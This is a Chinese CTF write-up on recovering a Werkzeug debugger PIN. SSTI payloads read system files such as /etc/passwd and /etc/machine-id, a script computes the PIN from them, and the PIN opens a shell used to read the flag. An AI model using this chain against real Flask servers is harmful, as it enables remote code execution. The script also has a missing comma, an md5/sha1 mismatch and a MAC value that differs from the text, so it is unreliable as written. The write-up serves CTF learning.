当python的web应用没有关闭debug模式,相当于给攻击者留下后门,比如说通过报错信息返回部分源码可供代码审计,有时也会返回当前py文件的绝对路径,另外,如果我们进入到debug调试页面,就可以拿到python的交互式shell,执行任意代码。(下文例子有充分体验)然而我们要进入调试页面,需要输入pin码。
pin是Werkzeug提供的安全措施,另外加的一层保障,不知道pin码是无法进入调试器的。(Werkzeug简单来说就是一个工具包,flask框架就是Werkzeug为底层库开发的)pin码是满足一定的生成算法,所以才有研究的必要,无论重复启动多少次程序,生成的pin码是不变的,但是Werkzeug和python版本的不同会影响pin码的生成。
由于自身python代码审计能力欠缺,本文侧重点不在于探究Pin码生成算法的底层原理,而是在面对求pin码的ctf题目中能够有思路解决。
开启一个简单的flask程序。
- from flask import Flask
- app = Flask(__name__)
-
- @app.route("/")
- def hello():
- return "hello!"
- if __name__ == '__main__':
- app.run(host="0.0.0.0",port=8000,debug=True)
开启成功后在run.app下断点,进行调试。点击步入,进入app.py。

因为pin码是Werkzeug添加的安全措施,所以在源码中找到导入了Werkzeug的部分。全局搜索,发现在Werkzeug中调用了run_simple。
我们ctrl加点击进入这个函数里,然后进入到了seving.py文件中,找到有关创建debug的部分,这里在debug中又导入了DebuggedApplication。

继续跟进,来到了__init__.py。找到pin函数。

进入get_pin_and_cookie_name函数。就来到了pin码生成的具体实现方法。
- def get_pin_and_cookie_name(
- app: "WSGIApplication",
- ) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
- """Given an application object this returns a semi-stable 9 digit pin
- code and a random key. The hope is that this is stable between
- restarts to not make debugging particularly frustrating. If the pin
- was forcefully disabled this returns `None`.
- Second item in the resulting tuple is the cookie name for remembering.
- """
- pin = os.environ.get("WERKZEUG_DEBUG_PIN")
- rv = None
- num = None
-
- # Pin was explicitly disabled
- if pin == "off":
- return None, None
-
- # Pin was provided explicitly
- if pin is not None and pin.replace("-", "").isdigit():
- # If there are separators in the pin, return it directly
- if "-" in pin:
- rv = pin
- else:
- num = pin
-
- modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
- username: t.Optional[str]
-
- try:
- # getuser imports the pwd module, which does not exist in Google
- # App Engine. It may also raise a KeyError if the UID does not
- # have a username, such as in Docker.
- username = getpass.getuser()
- except (ImportError, KeyError):
- username = None
-
- mod = sys.modules.get(modname)
-
- # This information only exists to make the cookie unique on the
- # computer, not as a security feature.
- probably_public_bits = [
- username,
- modname,
- getattr(app, "__name__", type(app).__name__),
- getattr(mod, "__file__", None),
- ]
-
- # This information is here to make it harder for an attacker to
- # guess the cookie name. They are unlikely to be contained anywhere
- # within the unauthenticated debug page.
- private_bits = [str(uuid.getnode()), get_machine_id()]
-
- h = hashlib.sha1()
- for bit in chain(probably_public_bits, private_bits):
- if not bit:
- continue
- if isinstance(bit, str):
- bit = bit.encode("utf-8")
- h.update(bit)
- h.update(b"cookiesalt")
-
- cookie_name = f"__wzd{h.hexdigest()[:20]}"
-
- # If we need to generate a pin we salt it a bit more so that we don't
- # end up with the same value and generate out 9 digits
- if num is None:
- h.update(b"pinsalt")
- num = f"{int(h.hexdigest(), 16):09d}"[:9]
-
- # Format the pincode in groups of digits for easier remembering if
- # we don't have a result yet.
- if rv is None:
- for group_size in 5, 4, 3:
- if len(num) % group_size == 0:
- rv = "-".join(
- num[x : x + group_size].rjust(group_size, "0")
- for x in range(0, len(num), group_size)
- )
- break
- else:
- rv = num
-
- return rv, cookie_name
这个返回的rv就是pin码,我们不需要去看懂这些代码,这个函数的关键就是将列表的值进行hash,所以我们只需要将列表中的值添加,然后运行即可得出pin码。

那么想要生成pin码就需要以下几种要素:
- username:通过getpass.getuser()读取,通过文件读取/etc/passwd
- modname:默认就是flask.app,通过getattr(mod,“file”,None)读取
- appname:默认Flask,通过getattr(app,“name”,type(app).name)读取
- moddir:当前网络mac地址,通过/sys/class/net/eth0/address读取
- uuidnode:
- machine_id:由三个合并(docker环境为后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
获取以上的信息添加到列表中,运行一遍函数,即可得到pin码,接下来通过buu的一道题目深切体会一遍。
打开题目是一个base64加密解密的网站,在解密功能中输入错误信息发生报错。同时若开启命令行需要pin码。

在本题只谈论预期解(求pin码)。同时在解密功能上也有ssti漏洞,比如{{2+2}},页面返回为4。

但是常规的ssti执行命令在这题是不可取的,有waf。但是可以读取系统文件,比如/etc/passwd,那么payload为:
{{a.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
然后base64编码,点击提交:

那么就通过ssti漏洞读取生成pin码所需要的几种要素。
username:通过读取到了/etc/passwd,不难发现用户名就为flaskweb。
app.py的绝对路径:可以通过报错信息获得,绝对路径为/usr/local/lib/python3.7/site-packages/flask/app.py。

当前机器的mac地址:通过读取/sys/class/net/eth0/address来获取mac的十六进制。payload为
{{a.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read()}}
得到的十六进制为42:b6:25:62:b6:ac,可以通过这行python代码转十进制:
print(int('42b62562b6ac',16))
转换十进制为73350078707372。
机器id:buu题目应该是docker搭建的。读取/proc/self/cgroup。payload为:
{{a.__init__.__globals__['__builtins__'].open('/proc/self/cgroup').read()}}
而机器id就是/docker/后面的一串。但是本题并不是这样,试了好久,并不能获得真正的机器id
而是要读取/etc/machine-id,所以真正的payload为
{{a.__init__.__globals__['__builtins__'].open('/etc/machine-id').read()}}

所以机器id就是1408f836b0ca514d796cbf8960e45fa1
以上生成pin的关键要素已经收集完毕。把上面get_pin_and_cookie_name函数实现方法修改一下列表值,最后添加print函数将pin码打印出来。所以脚本如下
- import hashlib
- from itertools import chain
-
- probably_public_bits = [
- 'flaskweb' # username
- 'flask.app', # modname
- 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
- '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
- ]
-
- private_bits = [
- '253462484137374', # str(uuid.getnode()), /sys/class/net/ens33/address
- '1408f836b0ca514d796cbf8960e45fa1' # get_machine_id(), /etc/machine-id
- ]
-
- h = hashlib.md5()
- for bit in chain(probably_public_bits, private_bits):
- if not bit:
- continue
- if isinstance(bit, str):
- bit = bit.encode('utf-8')
- h.update(bit)
- h.update(b'cookiesalt')
- cookie_name = '__wzd' + h.hexdigest()[:20]
- num = None
- if num is None:
- h.update(b'pinsalt')
- num = ('%09d' % int(h.hexdigest(), 16))[:9]
- rv = None
- if rv is None:
- for group_size in 5, 4, 3:
- if len(num) % group_size == 0:
- rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
- for x in range(0, len(num), group_size))
- break
- else:
- rv = num
- print(rv)
运行得到pin码为150-047-229。输入pin码成功登录。可执行shell,

那么开始读取flag。用os.system貌似不行,用os.popen函数读取。

成功得到flag。
至此我们对获取pin码和通过pin码拿到shell有了初步的认识,今后遇到相关题目继续总结。
相关链接: